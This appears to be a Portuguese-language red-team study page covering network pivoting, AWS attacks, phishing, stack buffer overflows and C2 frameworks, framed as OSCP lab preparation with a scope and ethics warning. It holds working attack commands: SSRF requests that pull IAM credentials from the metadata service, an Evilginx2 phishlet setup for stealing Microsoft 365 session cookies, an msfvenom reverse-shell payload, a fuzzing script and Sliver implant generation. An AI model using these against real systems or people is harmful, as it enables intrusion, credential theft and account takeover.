Fase 6 — Red Team Avançado

01

Redes segmentadas

Network Pivoting & Tunneling

Em ambientes reais, redes internas são segmentadas — você não acessa diretamente o servidor de banco de dados a partir da internet. Pivoting é usar um host comprometido como ponto de salto para alcançar redes que você não pode acessar diretamente.

O problema que pivoting resolve Você comprometeu um servidor web em 10.10.10.5. Atrás dele existe a rede interna 192.168.1.0/24, inacessível de fora. Com pivoting, você roteia seu tráfego através do host comprometido para alcançar os alvos internos — como se estivesse dentro da rede.

Ferramentas de Pivoting

Ferramenta

ligolo-ng — O padrão moderno

Cria um túnel TLS entre o agente (no host comprometido) e o proxy (na sua máquina). Adiciona a rede interna como interface de rede real na sua máquina — sem necessidade de proxychains. Mais estável e rápido que Chisel para a maioria dos casos.

# Na sua máquina (proxy)
./proxy -selfcert

# No host comprometido (agente)
./agent -connect 10.0.0.1:11601 -ignore-cert

# No proxy: selecionar sessão e iniciar túnel
session        # escolher o agente conectado
start          # iniciar o túnel

# Adicionar rota para a rede interna
sudo ip route add 192.168.1.0/24 dev ligolo

# Agora você pode fazer scan direto
nmap -sV 192.168.1.0/24

Ferramenta

Chisel — Tunnel via HTTP

Cria túnel TCP/UDP encapsulado em HTTP/WebSocket. Útil quando apenas HTTP está permitido nos firewalls. Funciona em modo reverse (cliente no alvo, servidor na sua máquina) para contornar firewalls que bloqueiam conexões de entrada.

# Servidor (sua máquina)
./chisel server -p 8080 --reverse

# Cliente (host comprometido)
./chisel client 10.0.0.1:8080 R:socks

# Configurar proxychains para usar SOCKS5
# /etc/proxychains4.conf → socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 192.168.1.10

Nativo

SSH Dynamic Port Forwarding

Se você tem acesso SSH ao host comprometido, cria um proxy SOCKS local com um único comando. Sem necessidade de transferir ferramentas adicionais para o alvo.

# SOCKS proxy via SSH (-D = dynamic)
ssh -D 1080 -N usuario@10.10.10.5

# Local port forward (-L = local)
# Acessa 192.168.1.10:3306 via localhost:3307
ssh -L 3307:192.168.1.10:3306 usuario@10.10.10.5

# Remote port forward (-R = remote)
# Expõe seu listener para o alvo
ssh -R 4444:127.0.0.1:4444 usuario@10.10.10.5

Metasploit

Pivoting via Meterpreter

Sessão Meterpreter tem pivoting integrado. Adiciona rotas automaticamente para redes acessíveis pelo host comprometido, roteando o tráfego do Metasploit através da sessão.

# Adicionar rota para rede interna via sessão 1
route add 192.168.1.0/24 1

# SOCKS proxy via Metasploit
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run

02

AWS, Azure, GCP

Cloud Pentesting

A maioria das empresas modernas tem infraestrutura na nuvem — e a maioria tem configurações incorretas. Cloud pentesting requer entender os modelos de identidade e permissão específicos de cada provedor. AWS é o mais comum em engajamentos reais.

AWS — Os ataques mais comuns

AWS

S3 Buckets mal-configurados

Buckets S3 com ACL pública expõem arquivos a qualquer pessoa na internet. Frequentemente contêm backups, arquivos de configuração com credenciais, dumps de banco de dados, e código-fonte.

# Verificar se bucket é público
aws s3 ls s3://nome-do-bucket --no-sign-request

# Baixar conteúdo do bucket público
aws s3 sync s3://nome-do-bucket . --no-sign-request

# Buscar buckets via OSINT
# Google dork: site:s3.amazonaws.com "empresa"
# Ferramentas: S3Scanner, bucket_finder

Nomes de bucket são globalmente únicos. Tente variações: empresa-backup, empresa-dev, empresa-prod, empresa-files.

AWS

SSRF → Instance Metadata Service (IMDS)

Se você encontra SSRF em uma aplicação rodando na AWS, o endpoint de metadata (169.254.169.254) expõe credenciais temporárias da IAM role anexada à instância. Essas credenciais dão acesso à AWS API.

# Via SSRF: forçar o servidor a acessar IMDS
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retorna o nome da IAM role, depois as credenciais:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/NomeDaRole
{"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"..."}

# Usar as credenciais exfiltradas
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity

AWS

IAM Privilege Escalation

Com credenciais AWS de baixo privilégio, verifique quais permissões você tem e procure caminhos para elevar para AdministratorAccess. Pacu automatiza a enumeração e exploração de escalada IAM.

# Enumerar permissões atuais
aws iam get-user
aws iam list-attached-user-policies --user-name usuario
aws iam list-user-policies --user-name usuario

# Pacu — framework de exploração AWS
pacu
run iam__enum_permissions
run iam__privesc_scan

PassRole + criação de instância EC2 com role admin = escalada para administrador da conta AWS completa.

AWS

Credenciais em Código

Chaves de acesso AWS hardcoded em código-fonte, variáveis de ambiente expostas, arquivos .env no repositório. Combinado com recon de GitHub (Fase 1), frequentemente o vetor mais fácil de entrada em infraestrutura cloud.

# Buscar chaves AWS no GitHub
AKIA  # prefixo de access key permanente
ASIA  # prefixo de credencial temporária

# Validar se a chave ainda é ativa
aws sts get-caller-identity --profile credencial-encontrada

03

O vetor humano

Social Engineering

O ser humano é o elo mais fraco em qualquer sistema de segurança. Engenharia social explora psicologia — urgência, autoridade, medo, curiosidade — para obter credenciais, acesso ou informações sem explorar vulnerabilidades técnicas. Em Red Team real, frequentemente é o vetor inicial.

Ética e legalidade Campanhas de engenharia social contra pessoas reais exigem escopo explícito no contrato de pentest. Sempre defina limites claros: quais funcionários podem ser alvos, quais ações são permitidas (só coleta de credenciais? instalação de simulador de malware?), e como tratar dados coletados.

Phishing Campaigns

Ferramenta

GoPhish — Plataforma de phishing

Framework open-source para campanhas de phishing. Gerencia landing pages clonadas, templates de email, grupos de destinatários e rastreia quem abriu o email, quem clicou e quem submeteu credenciais. Interface web intuitiva.

# Iniciar GoPhish
./gophish
# Interface: https://localhost:3333
# Credenciais padrão: admin / gophish

# Fluxo: Landing Page → Email Template → Sending Profile → Campaign

Clone a página de login real do cliente. Credenciais submetidas são capturadas e a vítima é redirecionada para o site legítimo — sem perceber que foi phished.

Ferramenta

Evilginx2 — Bypass de 2FA

Proxy de phishing que intercepta sessões em tempo real, capturando tanto a senha quanto o cookie de sessão — mesmo com 2FA habilitado. Age como man-in-the-middle entre a vítima e o site legítimo.

# Configurar phishlet para Microsoft 365
phishlets hostname o365 login.empresa-phish.com
phishlets enable o365
lures create o365
lures get-url 0
# Compartilhe a URL com a vítima
# Captura: usuário + senha + cookie de sessão autenticado

Técnica

Spear Phishing com OSINT

Phishing genérico tem taxas de clique baixas. Spear phishing usa informações coletadas no OSINT (LinkedIn, projetos recentes, ferramentas usadas) para criar emails altamente convincentes e personalizados para alvos específicos.

            Email eficaz usa: nome real do destinatário, cargo correto, referência a projeto ou ferramenta que a pessoa usa, domínio spoofado convincente, urgência plausível.
          

Técnica

Pretexting e Vishing

Pretexting é criar um cenário fictício convincente para manipular a vítima. Vishing é o mesmo por telefone. Exemplos: fingir ser suporte de TI solicitando redefinição de senha, fingir ser banco pedindo confirmação de dados, fingir ser colega novo pedindo acesso a sistema.

04

Nível expert

Custom Exploit Development

Desenvolvimento de exploits customizados é o nível mais avançado do Red Team. O foco inicial é entender Buffer Overflow stack-based em x86 — a base de muitos exploits clássicos e o tópico coberto no OSCP.

Stack-Based Buffer Overflow — Conceito

O que é e por que importa Quando um programa copia dados para um buffer sem verificar o tamanho, dados em excesso sobrescrevem a memória adjacente na stack — incluindo o endereço de retorno da função (EIP). Controlando o EIP, você controla para onde o programa "pula" após a função retornar. Aponte para seu shellcode = execução de código arbitrário.

Metodologia BOF

1. Fuzzing — Encontrar o crash

Envie entradas progressivamente maiores até o programa travar. O tamanho que causou o crash é o ponto de partida para calcular o offset até o EIP.

# Script de fuzzing simples em Python
import socket, time

buffer = "A" * 100
while True:
  s = socket.socket()
  s.connect(("alvo", 9999))
  s.send(buffer.encode())
  s.close()
  buffer += "A" * 100
  time.sleep(1)

Metodologia BOF

2. Offset — Controlar o EIP

Após descobrir o tamanho do crash, gere um padrão cíclico único com msf-pattern_create. Envie o padrão, observe o valor no EIP quando travar, e calcule o offset exato com msf-pattern_offset.

# Gerar padrão único de 2000 bytes
msf-pattern_create -l 2000

# Após crash, valor no EIP: ex. 0x39694438
msf-pattern_offset -l 2000 -q 39694438
Exact match at offset 1978

Metodologia BOF

3. Bad Chars — Caracteres proibidos

Alguns caracteres são tratados como terminadores ou modificados pelo programa (null byte \x00, newline \x0a, carriage return \x0d). Descubra quais são proibidos antes de gerar o shellcode.

# Enviar todos os bytes de 0x01 a 0xFF
# Analisar no debugger quais foram truncados ou alterados
# Remover os bad chars do shellcode final

# Gerar shellcode excluindo bad chars
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -b "\x00\x0a\x0d" -f python

Metodologia BOF

4. JMP ESP — Executar shellcode

Com o offset e o shellcode prontos, você precisa de um endereço de um módulo sem ASLR que contém a instrução JMP ESP. Colocar esse endereço no EIP fará o programa pular para a stack onde seu shellcode está.

# No Immunity Debugger + mona.py
!mona modules         # encontrar módulo sem proteções
!mona find -s "\xff\xe4" -m modulo.dll  # JMP ESP = \xff\xe4

# Estrutura final do payload:
# [PADDING] + [EIP = addr JMP ESP] + [NOP sled] + [SHELLCODE]

Praticar BOF no TryHackMe (Buffer Overflow Prep) e no OSCP PWK antes de tentar exploits reais.

05

Infraestrutura ofensiva

Command & Control (C2)

Em operações Red Team reais, você gerencia múltiplos agentes em múltiplos hosts através de um servidor C2 centralizado. O C2 permite controle persistente, pivoting, e evasão de detecção de forma organizada.

Frameworks C2

Open Source

Sliver — C2 moderno open-source

Alternativa gratuita ao Cobalt Strike. Desenvolvido pela BishopFox. Suporta implants em Go (multiplataforma), múltiplos protocolos C2 (HTTP/S, DNS, mTLS), pivoting integrado, e geração de payloads ofuscados. Ideal para praticar conceitos de C2 sem custo.

# Iniciar servidor Sliver
sliver-server

# Gerar implant HTTPS
generate --http 10.0.0.1 --os windows --arch amd64 --save /tmp/implant.exe

# Iniciar listener
https

# Após implant executar no alvo, interagir
sessions
use [ID]
whoami

Comercial

Cobalt Strike — Conceitos

Framework C2 comercial mais usado em Red Teams profissionais (e por APTs). Beacon é o implant — comunica via HTTP/HTTPS/DNS com perfis de tráfego customizáveis (Malleable C2 profiles) para parecer tráfego legítimo. Aggressor Scripts automatizam workflows.

Para o OSCP/PNPT, entender os conceitos de C2 é suficiente. Sliver cobre a prática. Cobalt Strike é para ambientes profissionais com licença.

Conceito

Infraestrutura Red Team

Operações Red Team profissionais usam infraestrutura separada por função: redirectors na frente do C2 (mascaram o IP real), categorized domains (domínios com boa reputação para bypass de proxies corporativos), e staging servers para entrega de payloads.

Nunca aponte implants diretamente para sua máquina. Use redirectors (Nginx, socat, Cloud Functions) entre o alvo e seu C2.

Próximos passos após a Fase 6

🎯 OSCP

Com as 7 fases concluídas você está pronto para o OSCP (Offensive Security Certified Professional). 24 horas de exam, relatório obrigatório. Certificação mais respeitada no mercado. Curso PWK cobre tudo que as fases 0-4 ensinam.

📈 Especializações

Após OSCP: OSWE (web avançado), OSED (exploit dev), OSEP (evasão e AD avançado), CRTO (Red Team Operations com Cobalt Strike), CRTE (Red Team Expert — AD aprofundado).

🐛 Bug Bounty

Paralelamente às certs, bug bounty em HackerOne e Bugcrowd aplica as habilidades em alvos reais com escopo público e recompensa financeira. Excelente para construir portfólio com findings documentados.

✓

Acompanhamento

Checklist de Estudo

Marque conforme for avançando. O progresso fica salvo no navegador.

Pivoting

Configurei ligolo-ng e acessei uma rede interna em laboratórioAdicionei rota e fiz scan da rede interna diretamente

Fiz SSH dynamic port forwarding e usei proxychainsNaveguei em serviço interno via SOCKS proxy

Completei um lab de pivoting no TryHackMe ou HackTheBoxEncadeei ao menos dois saltos de rede

Cloud

Encontrei e listei um S3 bucket público com aws cli

Explorei SSRF para acessar IMDS e extrai credenciais temporárias AWSEm laboratório: TryHackMe Cloud ou flaws.cloud

Completei ao menos um nível do flaws.cloud ou flaws2.cloudOs melhores labs gratuitos de AWS security

Social Engineering & Exploit Dev

Configurei e rodei uma campanha GoPhish em ambiente de testeCriei landing page clonada e template de email

Completei o Buffer Overflow Prep no TryHackMeTodos os 10 alvos OSCP-like com metodologia completa

Instalei e explorei Sliver C2 em laboratório localGerei implant, ativei listener, interagi com sessão

Obtive a certificação OSCPMeta final do roadmap completo

Red TeamAvançado

ligolo-ng — O padrão moderno

Chisel — Tunnel via HTTP

SSH Dynamic Port Forwarding

Pivoting via Meterpreter

S3 Buckets mal-configurados

SSRF → Instance Metadata Service (IMDS)

IAM Privilege Escalation

Credenciais em Código

GoPhish — Plataforma de phishing

Evilginx2 — Bypass de 2FA

Spear Phishing com OSINT

Pretexting e Vishing

1. Fuzzing — Encontrar o crash

2. Offset — Controlar o EIP

3. Bad Chars — Caracteres proibidos

4. JMP ESP — Executar shellcode

Sliver — C2 moderno open-source

Cobalt Strike — Conceitos

Infraestrutura Red Team

🎯 OSCP

📈 Especializações

🐛 Bug Bounty

Red Team
Avançado